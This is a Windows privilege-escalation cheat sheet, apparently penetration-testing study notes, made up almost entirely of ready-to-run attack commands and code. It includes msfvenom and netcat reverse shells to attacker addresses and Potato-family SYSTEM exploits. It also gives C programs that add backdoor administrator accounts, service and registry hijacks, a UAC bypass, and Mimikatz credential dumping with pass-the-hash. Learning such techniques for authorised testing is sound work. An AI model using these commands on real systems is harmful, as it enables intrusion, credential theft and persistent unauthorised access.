Windows Privilege Escalation

Initial Enumeration (Post-Foothold)

CMD Enumeration

# User/group info
whoami
whoami /groups
whoami /priv
net user
net user $username
net group /domain
net localgroup administrator
net group "Domain Admins" /domain

# System info
wmic cpu get DataWidth, Description, AddressWidth
wmic qfe                                            # patches
wmic logicaldisk get caption, description, providername
systeminfo

# Network
ipconfig
ipconfig /all
arp -a
netstat -ano

# Running processes/services
tasklist
tasklist /SVC
net start
wmic service get name,pathname,displayname,startmode
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

# Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "TaskName:"

# File search
where /R c:\windows bash.exe
dir /R
findstr /si password *.txt *.ini *.config
cmdkey /list
reg query HKLM /f pass /t REG_SZ /s

# Installed software
wmic product get name, version, vendor
wmic qfe get Caption, Description, HotFixID, InstalledOn

# Firewall
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all

# Drivers
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

PowerShell Enumeration

# Users and groups
Get-LocalUser
Get-LocalUser $username
Get-LocalGroup
Get-LocalGroupMember $groupName

# System
systeminfo
ipconfig /all
route print
netstat -ano   # -a=all, -n=no DNS, -o=show PID
Get-Process
Get-Process $processName | Format-List *
Get-History
(Get-PSReadlineOption).HistorySavePath   # then type/cat the file

# Installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\" | select displayname   # 32-bit
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname              # 64-bit

# File searching
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue          # KeePass
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\$user\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

# DSQuery (AD-joined machines)
dsquery user
dsquery computer
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """"

Automated Tools

  • winPEAS.exe — comprehensive automated enumeration
  • PowerUp.ps1 — automated misconfiguration finder: Import-Module ./PowerUp.ps1; Invoke-AllChecks
  • SharpUp.exe
  • Seatbelt.exe (requires compilation)
  • Watson.exe (requires compilation)
  • windows-exploit-suggester.py (local, requires systeminfo output)
  • Sherlock.ps1, jaws-enum.ps1

Reference: https://github.com/gtworek/Priv2Admin (privileges → what each can do) Reference: https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html


Service Exploits

Modifiable Binary Path

# PowerUp will find these
Invoke-AllChecks
# If you have SERVICE_CHANGE_CONFIG on a service:
sc config daclsvc binpath= "net localgroup administrators $user /add"
sc stop daclsvc
sc start daclsvc

Escalation Via Executable Files

# PowerUp identifies vulnerable services with modifiable paths
# Get: ServiceName, Path, ModifiablePath, AbuseFunction
# Replace the service executable with a malicious one at the ModifiablePath

Via Startup Applications

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

If writable, place an msfvenom-generated exe there. Triggers on admin login/reboot.


Registry Exploits

AlwaysInstallElevated (MSI as SYSTEM)

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

If either is set to 1, you can run any MSI with elevated permissions:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$kaliIP LPORT=$port -f msi -o malicious.msi
msiexec /quiet /qn /i malicious.msi

PowerUp checks for this automatically.

Service Registry Modification

If you have NT AUTHORITY\INTERACTIVE Allow Full Control on a service registry key:

Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

Create malicious executable:

#include <stdlib.h>
int main() {
    int i;
    i = system("cmd.exe /k net localgroup administrators $user /add");
    return 0;
}
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d exploit.exe /f
sc start regsvc

DLL Hijacking

  1. Use Process Monitor and set filters:
    • “Path ends with .dll”
    • “Result is NAME NOT FOUND”
  2. Find a DLL that is searched for but not found in a writable location
  3. Create a malicious DLL:
    msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
    
  4. Place DLL in the expected search path
  5. Restart the service

Reference: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking


Unquoted Service Paths

If a service path has spaces and is unquoted, Windows searches for the executable in sequential paths:

  • C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
  • Windows checks: C:\Program.exe, C:\Program Files\Unquoted.exe, C:\Program Files\Unquoted Path Service\Common.exe

Find with PowerUp.ps1 or manually via wmic.

Place malicious executable in any writable directory along the path.


UAC Bypass

Check UAC Status

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

ConsentPromptBehaviorAdmin values:

  • 0 — UAC won’t prompt (effectively disabled)
  • 1 — Admin is asked for username and password (Secure Desktop)
  • 2 — Always notify (Secure Desktop)
  • 3 — Like 1, not on Secure Desktop
  • 4 — Like 2, not on Secure Desktop
  • 5 (default) — Ask to confirm non-Windows binaries with high privileges

UAC Bypass Method (Service Replacement)

Replace a service exe, then restart the service or reboot:

#include <stdlib.h>
int main() {
    int i;
    i = system("net user poppop PartyParty123! /add");
    i = system("net localgroup administrators poppop /add");
    return 0;
}

Compile:

i686-w64-mingw32-gcc adduser.c -o adduser.exe

Reboot: shutdown /r /t 0

CVE-2019-1388

If UAC shows a “Show more details” dialog with a certificate link, it may open IE as SYSTEM:

  1. Click the publisher certificate link → IE opens as SYSTEM
  2. File → Save As → navigate to cmd.exe → right-click → Open as administrator

PATH Abuse

Exploited when a privileged script calls a command without the full path (e.g., calls ls instead of /bin/ls).

Linux PATH Abuse

# 1. Create malicious version of the command
echo '#!/bin/bash\n/bin/bash -p' > /tmp/ls
chmod +x /tmp/ls

# 2. Prepend attacker directory to PATH
export PATH=/tmp:$PATH

# 3. Run the vulnerable script (it calls 'ls' without full path)
# → Our malicious /tmp/ls runs instead

Windows PATH Abuse

# 1. Create malicious net.exe
# 2. Modify PATH to include attacker directory first
set PATH=C:\Users\Attacker\malicious_directory;%PATH%

# 3. When the vulnerable script calls 'net' without full path, ours runs

Potato Family Exploits

When you have SeImpersonatePrivilege (common on service accounts):

# Check .NET version first
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

PrintSpoofer:

.\PrintSpoofer.exe -c "nc.exe $kaliIP $port -e cmd"
.\PrintSpoofer64.exe -i -c cmd

GodPotato:

.\GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe $kaliIP $port"

SweetPotato:

.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc64.exe -a "$kaliIP $port -e cmd"

Tip: remember to transfer nc.exe binary to target first.


Mimikatz & Credential Dumping

# One-liner
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

# Interactive
privilege::debug
token::elevate
lsadump::sam
sekurlsa::logonpasswords
lsadump::dcsync /user:$domain\$user
sekurlsa::tickets       # steal TGT/TGS

Must be run from a process running as admin (UAC blocks otherwise).

From Kali after obtaining NTLM hash:

impacket-secretsdump -just-dc-user $user $domain.com/$user:"$password"@$targetIP
impacket-psexec -hashes 00000000000000000000000000000000:$NTLMhash Administrator@$targetIP

Post-Exploitation

Add Admin User

net user $user $password /add
net localgroup Administrators $user /add

Enable RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"

Runas (run as another user)

runas /user:$user cmd
C:\Windows\System32\runas.exe /user:$DOMAIN\$user /savecred "C:\Windows\System32\cmd.exe /c $command"

With Invoke-RunasCs.ps1:

Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs svc_mssql trustno1 'c:/xampp/htdocs/uploads/nc.exe 192.168.45.204 4444 -e cmd.exe'